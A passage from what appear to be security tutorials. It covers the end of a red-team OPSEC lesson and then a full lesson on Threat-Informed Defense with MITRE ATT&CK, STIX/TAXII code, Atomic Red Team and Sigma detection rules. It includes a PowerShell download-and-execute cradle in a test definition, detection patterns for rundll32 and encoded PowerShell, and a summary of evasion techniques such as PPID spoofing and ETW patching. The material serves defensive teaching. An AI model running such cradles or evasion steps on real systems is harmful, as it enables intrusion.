Rule of thumb: do not clear logs unless the engagement scope explicitly authorizes it. Selective in-process ETW suppression is quieter, scope-limited, and reversible.

11. The OPSEC Operator Checklist

12. Common Attacker Techniques

13. Defensive Strategies & Detection

The OPSEC failures above map directly to telemetry. Defenders should focus on behavior chains, not isolated IOCs — fixating on hashes catches yesterday’s adversary.

A Sigma sketch for the most common parent-spoof + LOLBin pattern:

title: Office Application Spawning rundll32 via Spoofed Parent
logsource:
  product: windows
  service: sysmon
detection:
  selection_proc:
    EventID: 1
    Image|endswith: '\rundll32.exe'
    ParentImage|endswith:
      - '\explorer.exe'
      - '\svchost.exe'
  selection_cmd:
    CommandLine|contains:
      - ',DllRegisterServer'
      - 'javascript:'
      - 'shell32.dll,Control_RunDLL'
  filter_signed_paths:
    CurrentDirectory|startswith: 'C:\Windows\System32\'
  condition: selection_proc and selection_cmd and not filter_signed_paths
level: high

Windows Security audit events to enable: 4688 (process creation with command line), 4698 (scheduled task), 7045 (new service), 1102 (Security log cleared), 4656/4663 (object access via SACL). Enable PowerShell Script Block Logging and Module Logging via GPO. Set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1 to protect LSASS, deploy Credential Guard, and enforce ASR rules blocking Office child-process spawning and LSASS credential theft. A misconfigured Sysmon ruleset is the single most common reason behavior-based detection fails — deploy a tuned config (e.g., SwiftOnSecurity or olafhartong’s modular config) and review it quarterly.

14. Tools for Red Team OPSEC Analysis

15. MITRE ATT&CK Mapping

16. Summary

• OPSEC is the discipline of knowing exactly what telemetry every offensive action produces, and making conscious risk decisions about each one.
• The five-step OPSEC cycle (identify, threat, vuln, risk, countermeasure) is run before each engagement phase, not once at kickoff.
• Infrastructure OPSEC layers redirectors, aged categorized domains, segmented providers, and customized malleable C2 profiles — defaults are signatured.
• Process and network OPSEC favor in-memory execution (BOF, reflective load, Assembly.Load), PPID spoofing, sensible injection-target selection, and sleep + jitter to destroy beacon periodicity.
• Log and artifact suppression is a sharp tool: timestomping leaves $FILE_NAME evidence, wevtutil cl triggers Event ID 1102, and ETW patching is itself observed by the Threat-Intelligence provider.
• Defenders close every loop with Sysmon, ETW, AMSI, and behavior-chain Sigma rules — focus on TTP chains, not IOCs, to catch operators who actually practice OPSEC.

Related Tutorials

• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

References

• MITRE ATT&CK: Defense Evasion (TA0005) — Enterprise Tactic
• MITRE ATT&CK: Masquerading (T1036) — Defense Evasion Technique
• NIST CSRC: Red Team Exercise — Glossary & SP 800-53 Rev. 5 Reference
• SANS SEC565: Red Team Operations and Adversary Emulation (OPSEC Hardening & C2 Infrastructure)
• MITRE ATT&CK: Indicator Removal (T1070) — Covering Tracks Technique
• Red Canary: Atomic Red Team — Open-Source MITRE ATT&CK-Mapped Test Library

Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle

Objective: Understand how defenders operationalize adversary knowledge — the Pyramid of Pain, MITRE ATT&CK, the CTI lifecycle, STIX/TAXII, M3TID/INFORM, and adversary emulation — into a continuous, measurable intelligence-driven security cycle rather than reacting to brittle indicators.

1. The Problem With Reactive Defense

Indicator-centric programs fail because indicators are cheap for the adversary to change. Hashes, IP addresses, and domains rotate trivially — a recompile changes a hash; a new VPS changes an IP. As popularized by David Bianco’s Pyramid of Pain (2013), these atomic indicators detect an adversary only for a fleeting window.

The Pyramid ranks indicator types by how much pain it causes an adversary to change them:

Documenting activity at the TTP level lets defenders think at an abstraction that is concrete enough to be actionable, yet stable enough to remain valid across adversaries and over time. Unlike traditional models that focus on indicators of compromise (IOCs), behavioral defense maps how adversaries operate once inside the environment. That is the foundation of Threat-Informed Defense.

2. What Is Threat-Informed Defense?

Threat-Informed Defense (TID) is the systematic application of a deep understanding of adversary tradecraft and technology to improve defenses. The MITRE Center for Threat-Informed Defense (CTID) defines it across three operationalized dimensions:

The shift is from “Are we patched?” to “Are we defended against these adversaries?” TID is a mindset that prioritizes finite defensive budget against the behaviors that actually threaten your sector.

3. MITRE ATT&CK: Architecture and Anatomy

The MITRE ATT&CK® Framework is a globally accessible knowledge base of adversary TTPs based on real-world observations. Its core objects:

The 14 Enterprise tactics, in order: Reconnaissance (TA0043), Resource Development (TA0042), Initial Access (TA0001), Execution (TA0002), Persistence (TA0003), Privilege Escalation (TA0004), Defense Evasion (TA0005), Credential Access (TA0006), Discovery (TA0007), Lateral Movement (TA0008), Collection (TA0009), Command and Control (TA0011), Exfiltration (TA0010), Impact (TA0040). ATT&CK is versioned — always confirm IDs against attack.mitre.org.

ATT&CK is distributed as STIX 2.1. You can parse the public bundle directly to enumerate every technique:

from stix2 import MemoryStore, Filter

store = MemoryStore()
store.load_from_file("enterprise-attack.json")  # mitre/cti repo

for t in store.query([Filter("type", "=", "attack-pattern")]):
    for ref in t.get("external_references", []):
        if ref.get("source_name") == "mitre-attack":
            print(ref["external_id"], "-", t["name"])

ATT&CK Navigator visualizes and compares coverage layers (JSON format), while ATT&CK Workbench lets organizations manage and extend a local copy of the knowledge base in sync with the public one.

4. The CTI Lifecycle: From Raw Data to Prioritized TTPs

Intelligence is produced, not collected ad hoc. The six-phase CTI lifecycle maps cleanly onto the TID dimensions:

Structured intelligence is exchanged with STIX 2.1 (the data model) over TAXII 2.1 (the transport, supporting Collections and Channels). Open platforms — MISP and OpenCTI — ingest STIX bundles manually, via connectors, or by subscribing to a TAXII feed.

A minimal shareable STIX bundle links a threat actor to a technique through a relationship:

from stix2 import ThreatActor, AttackPattern, Relationship, Bundle, ExternalReference

actor = ThreatActor(name="APT29", labels=["nation-state"])

technique = AttackPattern(
    name="Spearphishing Attachment",
    external_references=[ExternalReference(
        source_name="mitre-attack",
        external_id="T1566.001",
        url="https://attack.mitre.org/techniques/T1566/001")])

rel = Relationship(actor, "uses", technique)
print(Bundle(actor, technique, rel).serialize(pretty=True))

Automating the loop turns a TAXII feed into a prioritized TTP list for the detection team:

from taxii2client.v21 import Server
from stix2 import parse
import csv

server = Server("https://taxii.example-isac.org/taxii2/",
                user="analyst", password="<token>")
collection = server.api_roots[0].collections[0]

ttps = []
for obj in collection.get_objects().get("objects", []):
    so = parse(obj, allow_custom=True)
    if so.get("type") == "attack-pattern":
        for ref in so.get("external_references", []):
            if ref.get("source_name") == "mitre-attack":
                ttps.append((ref["external_id"], so["name"]))

with open("prioritized_ttps.csv", "w", newline="") as f:
    csv.writer(f).writerows([("technique_id", "name"), *sorted(set(ttps))])

5. Building a Sector-Specific Threat Model

You cannot defend against everything, so prioritize. Select the ATT&CK Groups relevant to your sector, extract their techniques, and weight by frequency using CTID’s Sightings Ecosystem data and the Top ATT&CK Techniques Calculator.

The mitreattack-python library pulls a group’s full technique set:

from mitreattack.stix20 import MitreAttackData

data = MitreAttackData("enterprise-attack.json")
apt29 = data.get_groups_by_alias("APT29")[0]

for entry in data.get_techniques_used_by_group(apt29.id):
    tech = entry["object"]
    print(data.get_attack_id(tech.id), tech["name"])

Layer the result in the Navigator and colour cells by your current detection status. A layer file encodes that scoring directly:

{
  "name": "Detection Coverage - APT29",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1566.001", "color": "#fc3b3b", "comment": "None - no email detonation telemetry" },
    { "techniqueID": "T1059.001", "color": "#33cc33", "comment": "Detected - Script Block Logging" },
    { "techniqueID": "T1055",     "color": "#ffe766", "comment": "Partial - EDR on workstations only" }
  ]
}

6. Mapping Controls to ATT&CK: The Defensive Measures Dimension

Knowing the adversary is useless without knowing your own coverage. CTID’s Mappings Explorer lets defenders see how security capabilities map to ATT&CK, and the NIST SP 800-53 ↔ ATT&CK mappings let you assess control coverage against real-world techniques.

The critical pitfall: ATT&CK coverage ≠ detection coverage. A control that can mitigate a technique is not the same as telemetry that proves you detect it. Distinguish two gap types:

Re-run the Mappings Explorer comparison before and after each emulation cycle to quantify the coverage delta — that delta is your measurable program improvement.

7. Testing & Evaluation: Closing the Loop

T&E proves defenses work by emulating real adversary behavior. Distinguish the disciplines:

MITRE CALDERA is a scalable, automated adversary-emulation platform; Atomic Red Team (Red Canary) is a library of small, ATT&CK-mapped tests for fast technique validation; and the CTID Adversary Emulation Library provides full emulation plans modeled on real threats. Run them as purple-team exercises — red executes, blue observes, both tune in real time.

# T1059.001 - atomic test metadata (excerpt)
attack_technique: T1059.001
display_name: PowerShell
atomic_tests:
  - name: Download cradle execution
    executor:
      name: powershell
      command: |
        IEX (New-Object Net.WebClient).DownloadString('#{cradle_url}')
    input_arguments:
      cradle_url:
        type: url
        default: https://example.test/benign.ps1

# Execute one atomic test, then confirm the telemetry fired
Invoke-AtomicTest T1059.001 -TestNumbers 1
# Map result -> Navigator: green only if Sysmon EID 1 + Script Block Log observed

If the test fires but no analytic alerts, you have found a detection gap — feed it straight back into the cycle.

8. M3TID and INFORM: Measuring Program Maturity

CTID’s M3TID (Measure, Maximize, Mature Threat-Informed Defense) operationalizes the three dimensions and assigns relative weighting:

The weighting reflects that defensive measures are where threat knowledge becomes protection. INFORM (Jan 2026) builds on M3TID, translating CTI, defensive measures, and T&E into a measurable, repeatable strategic maturity practice. Treat M3TID as the foundational reference and INFORM as its strategic-maturity successor — they are distinct publications, not synonyms. Self-assess each dimension, then invest where the lowest-weighted-adjusted score sits.

9. The Intelligence-Driven Security Cycle: Putting It All Together

The dimensions form a continuous loop, not a one-time audit:

1. Direction/CTI: Ingest sector intelligence via TAXII; extract prioritized TTPs.
2. Threat model: Layer relevant ATT&CK Groups in Navigator.
3. Defensive measures: Map controls via Mappings Explorer; identify gaps.
4. T&E: Emulate the TTP chain with CALDERA / Atomic Red Team.
5. Measure: Score coverage delta and M3TID maturity.
6. Feedback: Failed detections become new CTI collection requirements.

Each rotation tightens coverage against the adversaries you actually face. The loop never closes — new sightings continuously reshape the threat model.

10. Common Pitfalls and Maturity Anti-Patterns

• The “ATT&CK checkbox” fallacy — colouring a cell green for a control that is mapped but never validated.
• Retroactive labeling — tagging alerts with technique IDs after the fact instead of engineering proactive detections.
• IOC over-reliance — building the program on indicators near the bottom of the Pyramid of Pain.
• Treating the matrix as static — ATT&CK is versioned; threat models decay if not refreshed.
• Stale TTPs — driving investment from sightings years old without re-validation.

11. Common Attacker Techniques

These are the behaviors a TID program is built to detect — the worked examples throughout the cycle:

12. Defensive Strategies & Detection

TID succeeds only if emulation is observable. Validate that the following telemetry fires during every T&E run:

Anchor every detection to an ATT&CK ID so coverage is measurable. A skeleton Sigma rule for encoded PowerShell:

title: Suspicious PowerShell Encoded Command Execution
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
  condition: selection
tags:
  - attack.execution
  - attack.t1059.001
  - attack.ta0002
level: medium

Hardening baselines: enable command-line process auditing (ProcessCreationIncludeCmdLine_Enabled); enforce PowerShell Constrained Language Mode with Script Block and Module Logging; deploy Sysmon with a maintained config (e.g., SwiftOnSecurity) validated against each technique’s ATT&CK data sources; enforce a TTP expiry policy (re-validate sightings older than 24 months); and configure automated TAXII ingest from ISAC/CERT networks.

13. Tools for Threat-Informed Defense

14. MITRE ATT&CK Mapping

Summary

• Threat-Informed Defense replaces brittle IOC reaction with stable, behavior-centric defense built on adversary TTPs.
• The Pyramid of Pain motivates the shift; MITRE ATT&CK supplies the shared TTP vocabulary across Tactics, Techniques, Groups, and Mitigations.
• TID’s three dimensions — CTI, Defensive Measures, Testing & Evaluation — connect through the six-phase CTI lifecycle and exchange intelligence via STIX 2.1 over TAXII 2.1.
• M3TID measures maturity (CTI 30%, DM 50%, T&E 20%); INFORM is its strategic successor.
• Close the loop with CALDERA, Atomic Red Team, and the CTID Adversary Emulation Library, validating every technique against Sysmon and ATT&CK-tagged Sigma rules.

Related Tutorials

• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Access Tokens and Privileges: The Kernel’s Security Context
• SIDs and Security Descriptors: Identity in Windows Security
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

References

• Adversary Emulation Plans | MITRE ATT&CK®
• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Get Started: Threat Intelligence | MITRE ATT&CK®
• Our Mission: Threat-Informed Defense | MITRE Center for Threat-Informed Defense (CTID)
• Adversary Emulation Library | MITRE Center for Threat-Informed Defense (CTID)
• Enabling Threat-Informed Cybersecurity: Evolving CISA’s Approach to Cyber Threat Information Sharing | CISA